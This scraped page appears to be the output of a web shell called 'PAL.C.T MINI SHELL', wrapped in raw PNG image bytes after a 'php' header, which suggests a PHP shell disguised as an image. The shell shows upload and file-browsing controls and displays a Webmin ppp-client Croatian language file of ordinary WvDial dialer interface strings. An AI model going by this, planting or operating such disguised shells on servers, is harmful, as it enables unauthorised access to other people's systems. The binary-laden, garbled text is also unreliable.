php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/ppp-client/lang/
upload
files >> //usr/libexec/webmin/ppp-client/lang/hr.auto

index_title=PPP Dialup klijent
index_ewvdial=Program WvDial $1 nije pronađen u vašem sustavu ili nije važeći. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
index_init=Konfiguracijska datoteka WvDial $1 ne postoji, što obično ukazuje da program još nije postavljen. Kliknite donji gumb kako biste otkrili modem na vašem sustavu i pravilno stvorili konfiguraciju.
index_ok=Stvorite konfiguraciju
index_global=Uređivanje globalnih postavki
index_globaldesc=Kliknite ovaj gumb za uređivanje konfiguracijskih opcija koje se odnose na sve birače.
index_refresh=Osvježi konfiguraciju
index_refreshdesc=Klikom na ovaj gumb uzrokovat će se ponovno otkrivanje modema priključenog na vaš sustav i ažuriranje konfiguracije.
index_defaults=Zadane postavke
index_dialer=Birač $1 
index_none=Još nisu definirani modemi ni birači.
index_header=Modemi i birači
index_dadd=Dodajte novu konfiguraciju ISP-brojača.
index_return=popis modema i birača
index_version=Verzija WvDial $1 
index_connect=Povezati sa:
index_connectdesc=Kliknite ovaj gumb za pokušaj PPP veze pomoću odabrane konfiguracije brojčanika.
index_disc=isključiti
index_discdesc1=Vaša PPP veza uspostavljena korištenjem $2 trenutno je aktivna s IP adresom $1. Kliknite ovaj gumb da biste ga isključili.
index_discdesc2=PPP veza s PID $1 ostvarena korištenjem nekog drugog programa trenutno je aktivna. Kliknite ovaj gumb da biste ga isključili.
index_discdesc3=Vaša PPP veza uspostavljena korištenjem $2 trenutno je aktivna. Kliknite ovaj gumb da biste ga isključili.
index_eversion=Vaša WvDial verzija je $1, ali ovaj modul podržava samo verzije $2 i novije.
index_out=Izlaz od $1 bio je
index_boot=Povežite se pri pokretanju sa:
index_noboot=&lt;Ne spajaj&gt;
index_bootdesc=Promijenite ovu opciju za kontrolu da li je odabrana PPP veza pokrenuta u vrijeme pokretanja ili ne.

init_title=Otkrivanje konfiguracije
init_cmd=Otkrivanje povezanog modema pomoću naredbe $1 ..
init_done=.. gotovo
init_modems=Modemi su konfigurirani na $1 i $2.
init_modem=Modem je otkriven na $1.
init_none=Nisu otkriveni modemi!

device_serial=serijski port $1 

connect_title=Uspostavite vezu
connect_cmd=Pokušaj uspostavljanja veze sa naredbom $1 ..
connect_failed=.. veza nije uspjela! Pogledajte izlazni razlog za razlog zašto.
connect_ip=.. veza je uspješno uspostavljena s IP adresom $1.
connect_noip=.. veza je uspješno uspostavljena.
connect_dns=Korištenje DNS konfiguracije dodijeljene PPP.
connect_dns2=Postavljena je PPP konfiguracija DNS-a.
connect_dnsto=Vrijeme čekanja za dodjelu PPP-a DNS konfiguracije.
connect_dnsdown=Čini se da veza nije uspjela dok čekate konfiguraciju DNS-a dodijeljenu PPP-u.

disc_title=Isključite PPP
disc_err=Zatvaranje PPP veze nije uspjelo
disc_edown=Već isključeno
disc_ok1=Vaša PPP veza uspostavljena pomoću $2 uspješno je prekinuta.
disc_ok2=Vaša PPP veza uspješno je prekinuta.
disc_dns=Vraćena je stara konfiguracija DNS-a.

edit_title1=Dodajte ISP birač
edit_title2=Uređivanje ISP birača
edit_ddesc=Ove zadane postavke primijenit će se na veze ostvarene pomoću bilo kojeg drugog birača.
edit_header=Postavke birača broja ISP
edit_name=Naziv brojača
edit_phone=Broj telefona
edit_user=Prijavite se kao korisnik
edit_pass=Prijavite se lozinkom
edit_none=nijedan
edit_other=Alternativni telefonski brojevi
edit_prefix=Birajte prefiks
edit_stupid=Pokrenuti PPP odmah nakon povezivanja?
edit_serial=Modemski priključak
edit_modem=Standardni modem
edit_port=Serijski priključak $1 
edit_otherm=Drugi uređaj ..
edit_baud=Brzina prijenosa
edit_init=Naredbe za pokretanje modema
edit_carrier=Provjerite prijevoznika modema?
edit_busy=Odustati ako si zauzet?
edit_dialtone=Odustani ako nema dialtona?
edit_dial=Pokušaji biranja
edit_yd=Zadano (Da)
edit_nd=Zadano (ne)
edit_dns=Koristite dodijeljene DNS poslužitelje?
edit_reconnect=Ponovno povezivanje ako nemate vezu?
edit_idle=Istek vremena mirovanja (u sekundama)
edit_def=Od zadanih postavki
edit_inherits=Nasljedne postavke
edit_from=Od birača ..

save_err=Spremanje brojača nije uspjelo
save_err2=Brisanje birača nije uspjelo
save_ename=Nedostaje ili nevažeće ime biranja brojača
save_ephone=Nedostaje ili nevažeći broj telefona
save_eprefix=Nedostaje ili nevažeći prefiks za biranje
save_eother=Nevažeći zamjenski telefonski broj
save_eotherm=Drugi nepostojeća modemski uređaj
save_ebaud=Nedostaje ili nije valjana brzina prijenosa
save_edial=Nedostaje ili nevažeći broj pokušaja biranja
save_eidle=Nedostaje ili nije valjan istek vremena praznog hoda
save_einherits=Ovaj brojčanik nije moguće izbrisati jer '$1' nasljeđuje postavke s njega.
save_eclash=Birač s istim imenom već postoji

log_create=Izrađeno $1 
log_update=Ažurirano $1 
log_delete=Izbrisano $1 
log_init=Inicializirana ili osvježena konfiguracija
log_connect=Povezano s $1 
log_fail=Povezivanje s $1 nije uspjelo
log_disconnect=Prekinuta sa vezom $1 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`